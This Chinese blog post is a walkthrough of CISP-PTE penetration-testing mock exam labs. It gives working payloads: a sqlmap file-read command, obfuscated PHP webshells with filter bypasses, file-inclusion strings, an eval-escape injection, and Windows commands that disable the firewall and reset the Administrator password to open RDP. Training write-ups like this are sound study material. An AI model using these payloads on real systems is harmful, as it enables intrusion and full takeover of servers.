2.7 CISP-PTE 模拟二 全WP

警钟长鸣

SQL注入(sqlmap读文件)

右键查看源代码发现写有测试密码:admin123

登录后进入了一个病历管理后台,可以编辑其中的病情,

我们选择一个进行编辑,打开抓包后提交,复制数据包的内容保存到abc.txt中,把txt放在sqlmap的文件夹里,使用sqlmap读取文件

1
python sqlmap.py -r abc.txt --batch --threads 10 --file-read "../../../key.php"

文件上传

此处因为过滤比较严格,建议使用混淆过的脚本 中的sqzr.php,此外由于本题过滤了<?php标签,所以我们把开头结尾的标签替换成:

1
2
3
<script language="php">
示例代码
</script>

此外也可自己构造混淆脚本:

1
2
3
4
<script language="php">
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a($_POST['cmd']);
</script>

文件包含

常规方法

1
?page=php://filter/read=convert.base64-encode/resource=../key.cisp

进阶方法

1
?page=../key.cisp

代码审计

看看源码:

对处理GET数据的这句进行特别分析:

1
$o = eval("strtolower(\"$a\");");

可以看到目前这句的功能就是执行(eval)strtolower这个函数,将所有传入的值转换为小写,相当于

1
$o = strtolower($a);

而用户只能传入待转换的内容,不能更改执行的函数名。

真的是这样吗?

我们设法逃逸闭合,特别注意被转义的"

1
$o = eval("strtolower(\"   	");eval($_POST['cmd']);("(	 \");");

你可以在文本编辑器中在$a的位置尝试插入代码并逃逸闭合,直到文本编辑器中显示前后的括号都已经对应上。

所以我们传参:

1
?a=");eval($_POST['cmd']);("(

蚁剑连接即可。

失效的访问控制

2.3-SP PTE模拟全WP

综合渗透

key6

nmap -A 172.16.1.224强扫,发现只开了80端口

常规思路看看robots.txt

那我们顺着看看这个sql数据库文件

发现下面有数据库的密码,放到cmd5上破解(考试使用MD5crack2)出来是qwerty

御剑扫下目录

发现其中的db_create.php实际上是phpmyadmin,用刚才发现的账密登录

在images.key6这个表中发现了key6

key7

接着在images.system发现了网站后台密码,直接点编辑,把刚才qwerty的md5值换进去。

admin:qwerty成功登录网站。

发现是文件上传:

构造木片马或直接使用上面用过的sqzr.gif,操作相同。

上传成功后可以在图片管理中看到图片的url,使用菜刀连接。

在文件管理中找到网站搭建目录,拿到key7

key8

上传3389.bat到图片马存在的目录,即uploadfiles

运行3389.bat

依次执行:

1
2
3
3389.bat
netsh firewall set opmode disable		//关防火墙
net user Administrator 123456a*			//改密码

rdp远程连接:

在回收站中找到了key8

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS